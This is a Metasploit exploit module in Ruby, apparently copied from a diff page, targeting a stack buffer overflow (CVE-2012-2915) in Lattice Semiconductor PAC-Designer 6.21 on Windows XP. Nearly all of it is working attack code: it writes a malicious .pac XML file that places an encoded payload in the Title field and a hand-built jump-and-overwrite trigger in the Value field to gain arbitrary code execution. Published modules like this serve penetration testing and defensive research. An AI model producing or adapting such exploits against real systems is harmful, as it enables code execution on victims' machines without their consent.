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## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
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require 'msf/core' | ||
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class Metasploit3 < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
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include Msf::Exploit::FILEFORMAT | ||
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def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow", | ||
'Description' => %q{ | ||
This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer | ||
6.21. As a .pac file, when supplying a long string of data to the 'value' field | ||
under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption | ||
on the stack, which results in arbitrary code execution under the context of the | ||
user. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Unknown', #Discovery | ||
'juan vazquez', #Metasploit | ||
'sinn3r' #Metasploit | ||
], | ||
'References' => | ||
[ | ||
['CVE', '2012-2915'], | ||
['OSVDB', '82001'], | ||
['EDB', '19006'], | ||
['BID', '53566'], | ||
['URL', 'http://secunia.com/advisories/48741'] | ||
], | ||
'Payload' => | ||
{ | ||
'BadChars' => "\x00\x3c\x3e", | ||
'StackAdjustment' => -3500, | ||
}, | ||
'DefaultOptions' => | ||
{ | ||
'ExitFunction' => "seh" | ||
}, | ||
'Platform' => 'win', | ||
'Targets' => | ||
[ | ||
[ | ||
'PAC-Designer 6.21 on Windows XP SP3', | ||
{ | ||
# P/P/R in PACD621.exe | ||
# ASLR: False, Rebase: False, SafeSEH: False, OS: False | ||
'Ret' => 0x00805020 | ||
} | ||
], | ||
], | ||
'Privileged' => false, | ||
'DisclosureDate' => "May 16 2012", | ||
'DefaultTarget' => 0)) | ||
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register_options( | ||
[ | ||
OptString.new('FILENAME', [true, 'The filename', 'msf.pac']) | ||
], self.class) | ||
end | ||
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def exploit | ||
# The payload is placed in the <title> field | ||
p = payload.encoded | ||
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# The trigger is placed in the <value> field, which will jmp to our | ||
# payload in the <title> field. | ||
buf = "\x5f" #POP EDI | ||
buf << "\x5f" #POP EDI | ||
buf << "\x5c" #POP ESP | ||
buf << "\x61"*6 #POPAD x 6 | ||
buf << "\x51" #PUSH ECX | ||
buf << "\xc3" #RET | ||
buf << rand_text_alpha(96-buf.length, payload_badchars) | ||
buf << "\xeb\x9e#{rand_text_alpha(2, payload_badchars)}" #Jmp back to the beginning of the buffer | ||
buf << [target.ret].pack('V')[0,3] # Partial overwrite | ||
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xml = %Q|<?xml version="1.0"?> | ||
<PacDesignData> | ||
<DocFmtVersion>1</DocFmtVersion> | ||
<DeviceType>ispPAC-CLK5410D</DeviceType> | ||
<CreatedBy>PAC-Designer 6.21.1336</CreatedBy> | ||
<SummaryInformation> | ||
<Title>#{p}</Title> | ||
<Author>#{Rex::Text.rand_text_alpha(6)}</Author> | ||
</SummaryInformation> | ||
<SymbolicSchematicData> | ||
<Symbol> | ||
<SymKey>153</SymKey> | ||
<NameText>Profile 0 Ref Frequency</NameText> | ||
<Value>#{buf}</Value> | ||
</Symbol> | ||
</SymbolicSchematicData> | ||
</PacDesignData>| | ||
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file_create(xml) | ||
end | ||
end | ||
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